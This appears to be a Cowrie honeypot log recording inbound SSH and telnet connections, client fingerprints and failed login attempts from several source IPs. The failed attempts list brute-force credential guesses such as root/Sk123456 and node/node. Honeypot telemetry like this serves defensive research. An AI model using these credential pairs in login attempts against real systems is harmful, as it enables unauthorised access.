{"eventid":"cowrie.session.connect","src_ip":"73.139.195.2","src_port":59417,"dst_ip":"159.203.135.109","dst_port":23,"session":"41b84f215be9","protocol":"telnet","message":"New connection: 73.139.195.2:59417 (159.203.135.109:23) [session: 41b84f215be9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:15:04.677016Z"}
{"eventid":"cowrie.session.closed","duration":"16.2","message":"Connection lost after 16.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:15:04.822240Z","src_ip":"213.209.159.158","session":"522298ed971e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":58676,"dst_ip":"10.17.0.5","dst_port":22,"session":"b11497563610","protocol":"ssh","message":"New connection: 213.209.159.158:58676 (10.17.0.5:22) [session: b11497563610]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:15:04.917976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:15:07.274631Z","src_ip":"213.209.159.158","session":"b11497563610","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:15:07.279236Z","src_ip":"213.209.159.158","session":"b11497563610","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.180.12.23","src_port":60588,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d9180359e30","protocol":"telnet","message":"New connection: 194.180.12.23:60588 (159.203.135.109:23) [session: 2d9180359e30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:15:09.181638Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Sk123456","message":"login attempt [root/Sk123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:15:17.165996Z","src_ip":"213.209.159.158","session":"b11497563610","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.699303150177002,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:15:18.376216Z","src_ip":"73.139.195.2","session":"41b84f215be9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":52468,"dst_ip":"10.17.0.5","dst_port":22,"session":"110f27ffa954","protocol":"ssh","message":"New connection: 2.57.122.208:52468 (10.17.0.5:22) [session: 110f27ffa954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:15:19.919878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:15:20.094186Z","src_ip":"2.57.122.208","session":"110f27ffa954","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:15:20.098657Z","src_ip":"2.57.122.208","session":"110f27ffa954","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:15:20.477379Z","src_ip":"213.209.159.158","session":"b11497563610","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":44974,"dst_ip":"10.17.0.5","dst_port":22,"session":"24d2e0ac78ee","protocol":"ssh","message":"New connection: 213.209.159.158:44974 (10.17.0.5:22) [session: 24d2e0ac78ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:15:20.560899Z"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:15:20.937340Z","src_ip":"2.57.122.208","session":"110f27ffa954","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:15:22.120811Z","src_ip":"2.57.122.208","session":"110f27ffa954","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:15:22.763458Z","src_ip":"213.209.159.158","session":"24d2e0ac78ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:15:22.767144Z","src_ip":"213.209.159.158","session":"24d2e0ac78ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server4321","message":"login attempt [root/Server4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:15:32.746826Z","src_ip":"213.209.159.158","session":"24d2e0ac78ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.5","message":"Connection lost after 15.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:15:36.017512Z","src_ip":"213.209.159.158","session":"24d2e0ac78ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":8704,"dst_ip":"10.17.0.5","dst_port":22,"session":"23cf177e80c7","protocol":"ssh","message":"New connection: 213.209.159.158:8704 (10.17.0.5:22) [session: 23cf177e80c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:15:36.097187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:15:38.713143Z","src_ip":"213.209.159.158","session":"23cf177e80c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:15:38.717592Z","src_ip":"213.209.159.158","session":"23cf177e80c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shandong","message":"login attempt [root/shandong] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:15:48.364466Z","src_ip":"213.209.159.158","session":"23cf177e80c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":36420,"dst_ip":"10.17.0.5","dst_port":22,"session":"48b3902b806d","protocol":"ssh","message":"New connection: 103.15.226.202:36420 (10.17.0.5:22) [session: 48b3902b806d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:15:48.610706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:15:48.614693Z","src_ip":"103.15.226.202","session":"48b3902b806d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:15:48.863209Z","src_ip":"103.15.226.202","session":"48b3902b806d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"searcher","password":"searcher","message":"login attempt [searcher/searcher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:15:49.609868Z","src_ip":"103.15.226.202","session":"48b3902b806d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:15:50.860897Z","src_ip":"103.15.226.202","session":"48b3902b806d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.9","message":"Connection lost after 15.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:15:52.047668Z","src_ip":"213.209.159.158","session":"23cf177e80c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":1954,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c950117d889","protocol":"ssh","message":"New connection: 213.209.159.158:1954 (10.17.0.5:22) [session: 9c950117d889]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:15:52.126014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:15:54.424412Z","src_ip":"213.209.159.158","session":"9c950117d889","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:15:54.428174Z","src_ip":"213.209.159.158","session":"9c950117d889","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.44.54","src_port":38534,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d4e7f280e2b","protocol":"ssh","message":"New connection: 27.79.44.54:38534 (159.203.135.109:22) [session: 3d4e7f280e2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:15:57.258113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:15:57.287756Z","src_ip":"27.79.44.54","session":"3d4e7f280e2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:15:57.529756Z","src_ip":"27.79.44.54","session":"3d4e7f280e2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sithl0rd","message":"login attempt [root/sithl0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:16:04.115958Z","src_ip":"213.209.159.158","session":"9c950117d889","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:16:07.472705Z","src_ip":"213.209.159.158","session":"9c950117d889","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":14964,"dst_ip":"10.17.0.5","dst_port":22,"session":"4cf034838f4c","protocol":"ssh","message":"New connection: 213.209.159.158:14964 (10.17.0.5:22) [session: 4cf034838f4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:16:07.583530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:16:09.815266Z","src_ip":"213.209.159.158","session":"4cf034838f4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:16:09.820360Z","src_ip":"213.209.159.158","session":"4cf034838f4c","protocol":"ssh"}
